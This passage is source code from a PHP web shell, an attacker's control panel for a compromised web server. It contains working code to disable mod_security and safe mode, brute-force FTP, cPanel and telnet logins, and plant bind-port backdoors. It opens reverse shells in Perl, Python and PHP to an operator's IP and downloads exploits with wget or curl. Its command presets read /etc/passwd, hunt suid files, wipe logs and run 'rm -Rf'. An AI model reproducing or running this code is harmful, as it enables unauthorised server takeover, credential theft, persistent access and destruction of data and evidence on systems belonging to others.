color=\"#1B1B1B\">\r\n\t\r\n<table cellpadding=\"0\" style=\"width:100%;\">\r\n\t<tr>\r\n\t\t<td colspan=\"2\" style=\"width:75%;\">System Info : <font class=\"txt\"><?php systeminfo(); ?></font></td>\r\n\t\t<td style=\"width:10%;\">Server Port : <font class=\"txt\"><?php serverport(); ?></font></td>\t\r\n\t\t<td style=\"width:15%;\"><a href=# onClick=\"maindata('com')\"><font class=\"txt\"><i>Software Info</i></font></a></td>\r\n\t</tr>\r\n\t<?php if(\$os != 'Windows' || shell_exec(\"id\") != null) { ?><tr>\r\n\t\t<td style=\"width:75%;\" colspan=\"2\">Uid : <font class=\"txt\"><?php echo shell_exec(\"id\"); ?></font></td>\r\n\t\t<?php \$d0mains = @file(\"/etc/named.conf\");\r\n\t\t\t\$users=@file('/etc/passwd');\r\n if(\$d0mains)\r\n { \r\n\t\t\t\$count; \r\n\t\t\tforeach(\$d0mains as \$d0main)\r\n\t\t\t{\r\n\t\t\t\tif(@ereg(\"zone\",\$d0main))\r\n\t\t\t\t{\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\$count++;\r\n\t\t\t \t\t} \r\n\t\t\t \t}\r\n\t\t\t}\r\n\t\t?><td colspan=2 style=\"width:75%;\">Websites : <font class=\"txt\"><?php echo \"\$count Domains\"; ?></font></td><?php\r\n\t\t}\r\n\t\telse if(\$users) \r\n\t\t{\r\n\t\t\t\$file = fopen(\"/etc/passwd\", \"r\");\r\n\t\t\twhile(!feof(\$file))\r\n\t\t\t{\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\tcontinue;\r\n\t\t\t\t\$count++;\r\n\t\t\t}\r\n\t\t ?><td colspan=2 style=\"width:75%;\">Websites : <font class=\"txt\"><?php echo \"\$count Domains\"; ?></font></td><?php } ?>\r\n\t</tr><?php } ?>\r\n\t<tr>\r\n\t\t<td style=\"width:20%;\">Disk Space : <font class=\"txt\"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>\r\n\t\t<td style=\"width:20%;\">Free Space : <font class=\"txt\"><?php echo HumanReadableFilesize(freeSpace()); \$dksp = diskSpace(); \$frsp = freeSpace(); echo \" (\".(int)(\$frsp/\$dksp*100).\"%)\"; ?></font></td>\r\n\t\t\r\n\t\t<td style=\"width:20%;\">Server IP : <font class=\"txt\"><a href=\"http://whois.domaintools.com/<?php serverip(); ?>\"><?php serverip(); ?></a></font></td>\r\n\t\t<td style=\"width:15%;\">Your IP : <font class=\"txt\"><a href=\"http://whois.domaintools.com/<?php yourip(); ?>\"><?php yourip(); ?></a></font></td>\r\n\t</tr>\r\n\t\r\n\t<tr>\r\n\t\t<?php if(\$os == 'Windows'){ ?><td style=\"width:15%;\">View Directories : <font class=\"txt\"><?php echo showDrives();?></font></td><?php } ?>\r\n\t\t<td style=\"width:30%;\">Current Directory : <span id=\"crdir\"><font color=\"#009900\">\r\n\t\t<?php \r\n\t\$d = str_replace(\"\\\\\",\$directorysperator,\$dir);\r\n\tif (substr(\$d,-1) != \$directorysperator) {\$d .= \$directorysperator;}\r\n\t\$d = str_replace(\"\\\\\\\\\",\"\\\\\",\$d);\r\n\t\$dispd = htmlspecialchars(\$d);\r\n\t\$pd = \$e = explode(\$directorysperator,substr(\$d,0,-1));\r\n\t\$i = 0;\r\n\tforeach(\$pd as \$b)\r\n\t{\r\n\t \$t = '';\r\n\t \$j = 0;\r\n\t foreach (\$e as \$r)\r\n\t {\r\n\t \$t.= \$r.\$directorysperator;\r\n\t if (\$j == \$i) {break;}\r\n\t \$j++;\r\n\t }\r\n\$href=addslashes(\$t);\r\n\t\r\n\t echo \"<a href=javascript:void(0) onClick=\\\"changedir('dir','\$href')\\\"><b><font class=\\\"txt\\\">\".htmlspecialchars(\$b).\$directorysperator.'</font></b></a>';\r\n\t \$i++;\r\n\t}\r\n\r\n\t\t?>\r\n\t\t</font></span> <a href=# onClick=\"gethome('home','<?php echo addslashes(getcwd()); ?>')\">[Home]</a></td>\r\n\t\t<td style=\"width:20%;\">Disable functions : <font class=\"txt\"><?php echo getDisabledFunctions(); ?> </font></td>\r\n\t\t<td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>\r\n\t\t<?php if(\$os == \"Linux\") { ?><td><a href=\"<?php echo \$self.'?downloadit'?>\"><font color=\"#FF0000\">Download It</font></a><?php } ?></td>\r\n\t</tr>\r\n\t</table>\r\n\t\r\n<?php \$m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');\r\n\t\$m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');\r\n\techo \"<table border=3 style=border-color:#333333; width=100%; cellpadding=2>\r\n\t<tr>\";\r\n\t\$menu = '';\r\n\r\n\tforeach(\$m1 as \$k => \$v)\r\n\t\t\$menu .= \"<td style=\\\"border:none;\\\"><a href=# onClick=\\\"maindata('\".\$v.\"')\\\"><font class=\\\"mainmenu\\\">[\".\$k.\"]</font></a></td>\";\r\n\t\techo \$menu;\r\n\t\techo \"</tr>\r\n</table>\r\n<div style=\\\"float:left;\\\">\r\n\t<a href=\\\"javascript:history.back(1)\\\"><font class=txt size=3> [Back] </font></a> \r\n\t<a href=\\\"javascript:history.go(1)\\\"><font class=txt size=3> [Forward] </font></a> \r\n\t<a href=\\\"\\\"><font class=txt size=3> [Refresh] </font></a></div>\r\n<table style=\\\"margin-left:270px; border-color:#333333;\\\" border=2 width=60%; cellpadding=2>\r\n\t<tr align=center>\";\r\n\tforeach(\$m2 as \$k => \$v)\r\n\t\t\$menu1 .= \"<td style=\\\"border:none;\\\"><a href=# onClick=\\\"maindata('\".\$v.\"','\".addslashes(\$_GET['dir']).\"')\\\"><font class=\\\"mainmenu\\\">[\".\$k.\"]</font></a></td>\";\r\n\t\techo \$menu1;\r\n\t\techo \"<td style=\\\"border:none;\\\"><a href=javascript:void(0) onClick=\\\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\\\"><font class=mainmenu>[SelfKill]</font></a></td>\r\n\t\t<td style=\\\"border:none;\\\"><a href=\\\"\$self?logout\\\"><font class=mainmenu>[LogOut]</font></a></td>\r\n\t</tr>\r\n</table>\";?>\r\n\r\n<div id=\"showmaindata\"></div>\r\n<?php\r\n\r\nif(isset(\$_GET[\"downloadit\"]))\r\n{\r\n\t\$FolderToCompress = getcwd(); \r\n\texecmd(\"tar --create --recursion --file=backup.tar \$FolderToCompress\"); \r\n\t\r\n\t\$prd=explode(\"/\",\"backup.tar\");\r\n\tfor(\$i=0;\$i<sizeof(\$prd);\$i++)\r\n\t{\r\n\t\t\$nfd=\$prd[\$i];\r\n\t}\r\n\t@ob_clean(); \r\n header(\"Content-type: application/octet-stream\"); \r\n header(\"Content-length: \".filesize(\$nfd)); \r\n header(\"Content-disposition: attachment; filename=\\\"\".\$nfd.\"\\\";\"); \r\n readfile(\$nfd);\r\n exit;\t\r\n}\r\n//Turn Safe Mode Off\r\n\r\n\tif(getDisabledFunctions() != \"None\" || safe() != \"OFF\")\r\n\t{\r\n\t \t\$file_pointer = fopen(\".htaccess\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"<IfModule mod_security.c>\r\n \t\t\t\tSecFilterEngine Off\r\n \t\t\t\t\t SecFilterScanPOST Off\r\n\t\t\t\t\t</IfModule> \\n\\r\"); \r\n\t\t\t\r\n\t\t\$file_pointer = fopen(\"ini.php\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"<?\r\necho ini_get(\\\"safe_mode\\\");\r\necho ini_get(\\\"open_basedir\\\");\r\ninclude(\\\$_GET[\\\"file\\\"]);\r\nini_restore(\\\"safe_mode\\\");\r\nini_restore(\\\"open_basedir\\\");\r\necho ini_get(\\\"safe_mode\\\");\r\necho ini_get(\\\"open_basedir\\\");\r\ninclude(\\\$_GET[\\\"ss\\\"]);\r\n?>\"); \r\n\r\n\t\t\$file_pointer = fopen(\"php.ini\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"safe_mode = Off\"); \r\n\t\t\t\t\t\r\n\t\tfclose(\$file_pointer); \r\n\t\t\r\n }\r\n\t\r\n\telse if(isset(\$_POST['cpanelattack']))\r\n\t{\r\n\t\tif(!empty(\$_POST['username']) && !empty(\$_POST['password']))\r\n\t\t{\r\n\t\t\t\t\$userlist=explode(\"\\n\",\$_POST['username']);\r\n\t\t\t\t\$passlist=explode(\"\\n\",\$_POST['password']);\r\n\t\r\n\t\t\t\tif(\$_POST['cracktype'] == \"ftp\")\r\n\t\t\t\t{\r\n\t\t\t\t\tforeach (\$userlist as \$user)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$pureuser = trim(\$user);\r\n\t\t\t\t\t\tforeach (\$passlist as \$password )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$purepass = trim(\$password);\r\n\t\t\t\t\t\t\tftp_check(\$_POST['target'],\$pureuser,\$purepass,\$connect_timeout);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (\$_POST['cracktype'] == \"cpanel\" || \$_POST['cracktype'] == \"telnet\")\r\n\t\t\t\t{\r\n\t\t\t\t\tif(\$cracktype == \"telnet\")\r\n\t\t\t\t\t\t\$cpanel_port=\"23\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$cpanel_port=\"2082\";\r\n\t\t\t\t\tforeach (\$userlist as \$user)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$pureuser = trim(\$user);\r\n\r\n\t\t\t\t\t\techo \"<b><font face=Tahoma style=\\\"font-size: 9pt\\\" color=#008000> [ - ] </font><font face=Tahoma style=\\\"font-size: 9pt\\\" color=#FF0800>\r\n\t\t\t\t\t\tProcessing user \$pureuser ...</font></b><br><br>\";\r\n\r\n\t\t\t\t\t\tforeach (\$passlist as \$password )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$purepass = trim(\$password);\r\n\t\t\t\t\t\t\tcpanel_check(\$_POST['target'],\$pureuser,\$purepass,\$connect_timeout);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\t\$bdmessage = \"<center>Enter Username & Password List<center>\";\r\n\t\t}\r\n\t\r\nelse if(isset(\$_GET['info']))\r\n{\r\n\t\$bdmessage = \"<br><div align=left><font class=txt>\".nl2br(shell_exec(\"whois \".\$_GET['info'])).\"</font></div>\";\r\n}\r\nelse if(isset(\$_POST['u']))\r\n{\r\n\t\$path = \$_REQUEST['path'];\r\n\tif(is_dir(\$path))\r\n {\r\n\t\t\$setuploadvalue = 0;\r\n \$uploadedFilePath = \$_FILES['uploadfile']['name'];\r\n \$tempName = \$_FILES['uploadfile']['tmp_name'];\r\n\t\t\tif(\$os == \"Windows\")\r\n\t \$uploadPath = \$path . \$directorysperator . \$uploadedFilePath;\r\n\t\t\telse if(\$os == \"Linux\")\r\n\t\t\t\t \$uploadPath = \$path . \$directorysperator . \$uploadedFilePath;\r\n\t\t\tif(\$stat = move_uploaded_file(\$_FILES['uploadfile']['tmp_name'] , \$uploadPath))\r\n \t\t\$bdmessage = \"<font class=txt size=3><blink>File uploaded to \$uploadPath</blink></font>\";\r\n else\r\n \t\$bdmessage = \"<font size=3><blink>Failed to upload file to \$uploadPath</blink></font>\";\r\n }\r\n\t?><script type=\"text/javascript\">changedir('dir','<?php echo addslashes(\$path); ?>'); </script><?php\r\n}\r\nelse if(isset(\$_POST['backdoor']))\r\n{\r\n\tif(isset(\$_POST['passwd']) && isset(\$_POST['port']) && isset(\$_POST['lang']))\r\n\t{\t ?><script type=\"text/javascript\">gethome('connect');</script><?php\r\n\t\t \$passwd = \$_POST['passwd'];\r\n\t\t \r\n\t\t if(\$_POST['lang'] == 'c') \r\n\t\t {\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/backp.c\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_c)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/backp.c\");\r\n\t\t\t\texecmd(\"gcc -o \".getcwd().\"/backp \".getcwd().\"/backp.c\");\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/backp\");\r\n\t\t\t\texecmd(getcwd().\"/backp\".\" \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$scan = exec_all(\"ps aux | grep backp\".\$_POST['port']); \r\n\t\t\t\tif(eregi(\"backp\".\$_POST['port'],\$scan))\r\n\t\t\t\t\t\$bdmessage = \"Process found running, backdoor setup successfully.\";\r\n\t\t\t\telse\r\n\t\t\t\t\t\$bdmessage = \"Process not found running, backdoor not setup successfully.\";\r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/backp.c\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_c)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 /tmp/backp.c\");\r\n\t\t\t\texecmd(\"gcc -o /tmp/backp /tmp/backp.c\");\r\n\t\t\t\t\$out = execmd(\"/tmp/backp\".\" \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$scan = exec_all(\"ps aux | grep backp\".\$_POST['port']); \r\n\t\t\t\tif(eregi(\"backp\".\$_POST['port'],\$scan))\r\n\t\t\t\t\t\$bdmessage = \"Process found running, backdoor setup successfully.\";\r\n\t\t\t\telse\r\n\t\t\t\t\t\$bdmessage = \"Process not found running, backdoor not setup successfully.\";\r\n\t\t\t}\r\n \t} \r\n\t\tif(\$_POST['lang'] == 'perl') \r\n\t\t{\r\n \tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/bp.pl\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_p)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/bp.pl\");\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bp.pl \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\r\n\t\t\t\t\$bdmessage = \"<pre>\$out\\n\".execmd(\"ps aux | grep bp.pl\").\"</pre>\"; \r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/bp.pl\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_p)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/bp.pl\");\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bp.pl \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$bdmessage = \"<pre>\$out\\n\".execmd(\"ps aux | grep bp.pl\").\"</pre>\"; \r\n\t\t\t}\r\n }\r\n \t}\r\n}\r\nelse if(isset(\$_POST['backconnect']))\r\n{\r\n if(\$_POST['ip'] != \"\" && \$_POST['port'] != \"\")\r\n\t{ ?><script type=\"text/javascript\">gethome('connect');</script><?php\r\n\t\t\$host = \$_POST['ip'];\r\n\t\t\$port = \$_POST['port'];\r\n\t\tif(\$_POST[\"lang\"] == \"perl\")\r\n\t\t{\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/bc.pl\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzuncompress(base64_decode(\$backconnect_perl)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bc.pl \$host \$port &\",\$disable);\r\n\t\t\t\tif(!@unlink(getcwd().\"/bc.pl\")) echo \"<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>\";\r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/bc.pl\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzuncompress(base64_decode(\$backconnect_perl)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\texecmd(\"perl /tmp/bc.pl \$host \$port &\",\$disable);\r\n\t\t\t\tif(!@unlink(\"/tmp/bc.pl\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2></br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if(\$_POST[\"lang\"] == \"python\")\r\n\t\t{\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\r\n\t\t\t\t \$w_file=@fopen(getcwd().\"/bc.py\",\"w\") or die(mysql_error());\r\n\t\t\t\t if(\$w_file)\r\n\t\t\t\t {\r\n\t\t\t\t\t @fputs(\$w_file,gzuncompress(base64_decode(\$back_connect_p)));\r\n\t\t\t\t\t @fclose(\$w_file);\r\n\t\t\t\t\t chmod(getcwd().'/bc.py', 0777);\r\n\t\t\t\t }\r\n\t\t\t\t execmd(\"python \".getcwd().\"/bc.py \$host \$port &\",\$disable);\r\n\t\t\t\t \$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\r\n\t\t\t\t if(!@unlink(getcwd().\"/bc.py\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2></br>\";\t\t\t\t \t\t\t\t \r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t \$w_file=@fopen(\"/tmp/bc.py\",\"w\");\r\n\t\t\t\t if(\$w_file)\r\n\t\t\t\t {\r\n\t\t\t\t\t @fputs(\$w_file,gzuncompress(base64_decode(\$back_connect_p)));\r\n\t\t\t\t\t @fclose(\$w_file);\r\n\t\t\t\t\t chmod('/tmp/bc.py', 0777);\r\n\t\t\t\t }\r\n\t\t\t\t execmd(\"python /tmp/bc.py \$host \$port &\",\$disable);\r\n\t\t\t\t \$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\t if(!@unlink(\"/tmp/bc.py\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2><br>\";\t\t\t\t \r\n\t\t\t}\r\n\t\t}\r\n\t\telse if(\$_POST[\"lang\"] == \"php\")\r\n\t\t{\r\n\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\$ip = \$_POST['ip']; \r\n\t\t\t\$port=\$_POST['port']; \r\n\t\t\t\$sockfd=fsockopen(\$ip , \$port , \$errno, \$errstr ); \r\n\t\t\tif(\$errno != 0)\r\n\t\t\t{\r\n\t\t\t\t\$bdmessage = \"<font color='red'><b>\$errno</b> : \$errstr</font>\";\r\n\t\t\t}\r\n\t\t\telse if (!\$sockfd)\r\n\t\t\t{ \r\n\t\t\t\t \$result = \"<p>Fatal : An unexpected error was occured when trying to connect!</p>\";\r\n\t\t\t} \r\n\t\t\telse\r\n\t\t\t{ \r\n\t\t\t\tfputs (\$sockfd ,\"\\n=================================================================\\nCoded By Arjun\\n=================================================================\");\r\n\t\t\t \$pwd = exec_all(\"pwd\");\r\n\t\t\t \$sysinfo = exec_all(\"uname -a\");\r\n\t\t\t \$id = exec_all(\"id\");\r\n\t\t\t \$len = 1337;\r\n\t\t\t fputs(\$sockfd ,\$sysinfo . \"\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$pwd . \"\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$id .\"\\n\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$dateAndTime.\"\\n\\n\" );\r\n\t\t\t while(!feof(\$sockfd))\r\n\t\t\t { \r\n\t\t\t\t\$cmdPrompt =\"(dhanush)[\$]> \";\r\n\t\t\t\tfputs (\$sockfd , \$cmdPrompt ); \r\n\t\t\t\t\$command= fgets(\$sockfd, \$len);\r\n\t\t\t\tfputs(\$sockfd , \"\\n\" . exec_all(\$command) . \"\\n\\n\");\r\n\t\t\t} \r\n\t\t\tfclose(\$sockfd); \r\n\t\t\t} \r\n\t\t}\r\n\t}\r\n}\r\nelse if (isset (\$_GET['val1'], \$_GET['val2']) && is_numeric(\$_GET['val1']) && is_numeric(\$_GET['val2'])) \r\n{\r\n\t\$temp = \"\";\r\n\tfor(;\$_GET['val1'] <= \$_GET['val2'];\$_GET['val1']++) \r\n\t{\r\n\t\t\$uid = @posix_getpwuid(\$_GET['val1']);\r\n\t\tif (\$uid)\r\n\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t}\r\n\techo '<br/>';\r\n\tparamexe('Users', \$temp);\r\n}\r\nelse if(isset(\$_GET['download']))\r\n{\r\n\tdownload();\t\t\t\r\n}\r\nelse\r\n{ \r\n\t?><script type=\"text/javascript\">gethome('home','<?php echo addslashes(\$dir); ?>');</script><?php\r\n}\t\r\n\$is_writable = is_writable(\$dir)?\"<font class=txt>< writable ></font>\":\"< not writable >\";\r\n?>\r\n</p><center><div id=\"showdir\"><?php echo \$bdmessage; ?></div></center>\r\n<table style=\"width:100%;border-color:#333333;\" border=\"1\">\r\n<tr>\r\n<td align=\"center\">\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\nUpload file : <br><input type=\"file\" name=\"uploadfile\" class=\"box\" size=\"50\">\r\n<input type=\"hidden\" id=path name=\"path\" value=\"<?php echo \$dir; ?>\" /> \r\n<input type=submit value=\"Upload\" name=\"u\" value=\"u\" class=\"but\" ></form>\r\n<span name=\"wrtble\"><?php\r\necho \$is_writable; ?></span>\r\n\t\t <br>\r\n</td>\r\n<td align=\"center\" style=\"height:105px;\">Create File : \r\n<form onSubmit=\"createdir('Create',createfile.value);return false;\">\r\n<input type=\"text\" class=\"box\" value=\"<?php echo \$dir . \$directorysperator; ?>\" name=\"createfile\" id=\"createfile\">\r\n<input type=\"button\" onClick=\"createdir('Create',createfile.value)\" value=\"Create\" class=\"but\">\r\n</form><span name=\"wrtble\">\r\n<?php echo \$is_writable; ?></span>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td align=\"center\" style=\"height:105px;\">Execute : <form onSubmit=\"executemyfile('execute','<?php echo addslashes(\$dir); ?>',execute.value);return false;\">\r\n<input type=\"text\" class=\"box\" name=\"execute\">\r\n<input type=\"hidden\" id=\"exepath\" name=\"exepath\" value=\"<?php echo \$dir; ?>\">\r\n <input type=\"button\" onClick=\"executemyfile('execute',exepath.value,execute.value)\" value=\"Execute\" class=\"but\"></form></td>\r\n\r\n<td align=\"center\">Create Directory : <form onSubmit=\"createdir('createfolder',createfolder.value);return false;\">\r\n<input type=\"text\" value=\"<?php echo \$dir . \$directorysperator; ?>\" class=\"box\" name=\"createfolder\" id=\"createfolder\">\r\n<input type=\"button\" onClick=\"createdir('createfolder',createfolder.value)\" value=\"Create\" class=\"but\">\r\n</form><span name=\"wrtble\"><?php\r\necho \$is_writable;\r\n?></span></td></tr>\r\n<tr><td style=\"height:105px;\" align=\"center\">Get Exploit <form onSubmit=\"getexploit(wurl.value,path.value,functiontype.value);return false;\">\r\n<input type=\"text\" name=\"wurl\" class=\"box\" value=\"http://www.some-code/exploits.c\"> \r\n<input type=\"button\" onClick=\"getexploit(wurl.value,uppath.value,functiontype.value)\" value=\" G0 \" class=\"but\"><br><br>\r\n<input type=\"hidden\" id=\"uppath\" name=\"uppath\" value=\"<?php echo \$dir . \$directorysperator; ?>\">\r\n<select name=\"functiontype\" class=\"sbox\"> \r\n<option value=\"wwget\">wget</option> \r\n<option value=\"wlynx\">lynx</option> \r\n<option value=\"wfread\">fread</option> \r\n<option value=\"wfetch\">fetch</option> \r\n<option value=\"wlinks\">links</option> \r\n<option value=\"wget\">GET</option> \r\n<option value=\"wcurl\">curl</option> \r\n</select>\r\n</form><div id=\"showexp\"></div>\r\n</td>\r\n<td align=\"center\">\r\n<form>\r\nSome Commands<br>\r\n<?php if(\$os != \"Windows\")\r\n{ ?>\r\n<SELECT NAME=\"mycmd\" class=\"box\">\r\n <OPTION VALUE=\"uname -a\">Kernel version\r\n <OPTION VALUE=\"w\">Logged in users\r\n <OPTION VALUE=\"lastlog\">Last to connect\r\n\t <option value='cat /etc/hosts'>IP Addresses\r\n\t <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP\r\n\t <OPTION VALUE=\"logeraser\">Log Eraser\r\n\t <OPTION VALUE=\"find / -perm -2 -ls\">Find all writable directories\r\n\t <OPTION VALUE=\"find . -perm -2 -ls\">Find all writable directories in Current Folder\r\n\t <OPTION VALUE=\"find / -type f -name \\\"config*\\\"\">find config* files\r\n\t <OPTION VALUE=\"find . -type f -name \\\"config*\\\"\">find config* files in current dir\r\n\t <OPTION VALUE=\"find . -type f -perm -04000 -ls\">find suid files in current dir\r\n\t <OPTION VALUE=\"find / -type f -perm -04000 -ls\">find all suid files\r\n\t <OPTION VALUE=\"find / -user root -perm -022\">find all sgid files\r\n\t <OPTION VALUE=\"find . -type f -perm -02000 -ls\">find suid files in current dir\r\n\t <OPTION VALUE=\"find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null\">Suid bins\r\n <OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER WITHOUT PASSWORD!\r\n <OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\">Write in /etc/?\r\n\t <?php if(is_dir('/etc/valiases')){ ?><option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option><?php } ?>\r\n\t <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\\\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option><?php } ?>\r\n <OPTION VALUE=\"which wget curl w3m lynx\">Downloaders?\r\n <OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO\r\n\t <OPTION VALUE=\"ps aux\">Show running proccess\r\n\t <OPTION VALUE=\"uptime\">Uptime check\r\n\t <OPTION VALUE=\"cat /proc/meminfo\">Memory check\r\n <OPTION VALUE=\"netstat -an | grep -i listen\">Open ports\r\n\t <OPTION VALUE=\"rm -Rf\">Format box (DANGEROUS)\r\n <OPTION VALUE=\"wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c\">WIPELOGS PT1 (If wget installed)\r\n <OPTION VALUE=\"gcc zap2.c -o zap2\">WIPELOGS PT2\r\n <OPTION VALUE=\"./zap2\">WIPELOGS PT3\r\n\t <OPTION VALUE=\"cat /var/cpanel/accounting.log\">Get cpanel logs\r\n </SELECT>\r\n <?php } else {?>\r\n <SELECT NAME=\"mycmd\" class=\"box\">\r\n \t<OPTION VALUE=\"dir /s /w /b *config*.php\">Find *config*.php in current directory\r\n\t<OPTION VALUE=\"dir /s /w /b index.php\">Find index.php in current dir\r\n \t<OPTION VALUE=\"systeminfo\">System Informations\r\n\t<OPTION VALUE=\"net user\">User accounts\r\n <OPTION VALUE=\"netstat -an\">Open ports\r\n\t<OPTION VALUE=\"getmac\">Get Mac Address\r\n\t<OPTION VALUE=\"net start\">Show running services\r\n\t<OPTION VALUE=\"net view\">Show computers\r\n\t<OPTION VALUE=\"arp -a\">ARP Table\r\n\t<OPTION VALUE=\"tasklist\">Show Process\r\n\t<OPTION VALUE=\"ipconfig/all\">IP Configuration\r\n\t\r\n </SELECT>\r\n <?php } ?>\r\n <input type=\"hidden\" id=\"auexepath\" name=\"auexepath\" value=\"<?php echo \$dir; ?>\">\r\n<input type=\"button\" onClick=\"executemyfile('mycmd',auexepath.value,mycmd.value)\" value=\"Execute\" class=\"but\">\r\n</form>\r\n</td>\r\n</tr></table><br>\r\n\t\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<?php\r\n\r\n\r\n//logout\r\n\r\nif(isset(\$_GET['logout']))\r\n{\r\n setcookie(\"hacked\",time() - 